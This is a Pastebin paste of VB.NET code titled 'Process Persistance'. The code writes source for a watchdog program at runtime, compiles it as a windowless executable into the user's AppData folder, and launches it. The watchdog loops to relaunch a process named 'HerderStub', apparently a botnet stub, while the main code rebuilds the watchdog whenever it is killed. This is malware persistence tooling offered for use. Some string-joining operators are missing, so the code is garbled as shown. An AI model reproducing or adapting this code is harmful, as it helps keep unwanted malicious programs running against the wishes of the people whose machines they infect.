Advertisement
LaPanthere

Process Persistance

May 4th, 2013
303
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 3.08 KB | None | 0 0
  1. #Region "Special Bits"
  2.     Public Function Retrnres(ByVal prs As String) As Boolean
  3.         Dim runin As Boolean = Process.GetProcessesByName(prs).Length > 0
  4.         If runin Then
  5.             Return True
  6.         Else
  7.             Return False
  8.         End If
  9.     End Function
  10.  
  11.     Public Sub killprocess(ByVal processname As String)
  12.         Dim proc() As Process = Process.GetProcesses
  13.         For i As Integer = 0 To proc.GetUpperBound(0)
  14.             If proc(i).ProcessName = processname Then
  15.                 proc(i).Kill()
  16.             End If
  17.         Next
  18.     End Sub
  19.  
  20.     Public Sub Persist()
  21.         build()
  22.         Dim t As New Threading.Thread(AddressOf PersistBack) : t.Start()
  23.     End Sub
  24.  
  25.     Public Sub build()
  26.         Dim source As New StringBuilder
  27.         source.AppendLine("Imports System")
  28.         source.AppendLine("Imports System.Net")
  29.         source.AppendLine("Imports Microsoft.VisualBasic")
  30.         source.AppendLine("Imports System.Reflection")
  31.         source.AppendLine("Imports System.Runtime.CompilerServices")
  32.         source.AppendLine("Imports System.Runtime.InteropServices")
  33.         source.AppendLine("Public Class Simple")
  34.         source.AppendLine("Shared Sub Main")
  35.         source.AppendLine("Dim t As New System.Threading.Thread(AddressOf Lols) : t.Start()")
  36.         source.AppendLine("End Sub")
  37.         source.AppendLine("Shared Function Rtrn() As Boolean")
  38.         source.AppendLine("Dim runin As Boolean = System.Diagnostics.Process.GetProcessesByName(""HerderStub"").Length > 0")
  39.         source.AppendLine("If runin Then : Return True : Else : Return False : End If")
  40.         source.AppendLine("End Function")
  41.         source.AppendLine("Shared Sub Lols()")
  42.         source.AppendLine("While (True)")
  43.         source.AppendLine("If Not Rtrn() Then : System.Diagnostics.Process.Start(""HerderStub"") : End If")
  44.         source.AppendLine("End While")
  45.         source.AppendLine("End Sub")
  46.         source.AppendLine("End Class")
  47.  
  48.         Dim s As String = source.ToString
  49.         Dim codeProvider As New VBCodeProvider()
  50.         Dim pref As New System.CodeDom.Compiler.CompilerParameters()
  51.         pref.GenerateExecutable = True
  52.         pref.OutputAssembly = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)   "\outputloc.exe" 'Call that after successful build and run.
  53.         pref.CompilerOptions  = "/target:winexe"
  54.         pref.ReferencedAssemblies.Add("System.dll")
  55.         pref.TreatWarningsAsErrors = False
  56.         pref.IncludeDebugInformation = False
  57.         Dim compile As System.CodeDom.Compiler.CompilerResults = New VBCodeProvider().CompileAssemblyFromSource(pref, s)
  58.         For Each ce As System.CodeDom.Compiler.CompilerError In compile.Errors
  59.             Exit Sub
  60.         Next
  61.         Process.Start(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)   "\outputloc.exe")
  62.     End Sub
  63.  
  64.     Public Sub PersistBack()
  65.         While _per = True
  66.             If Not Retrnres("outputloc") Then
  67.                 build()
  68.             End If
  69.         End While
  70.         killprocess("outputloc")
  71.     End Sub
  72. #End Region
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement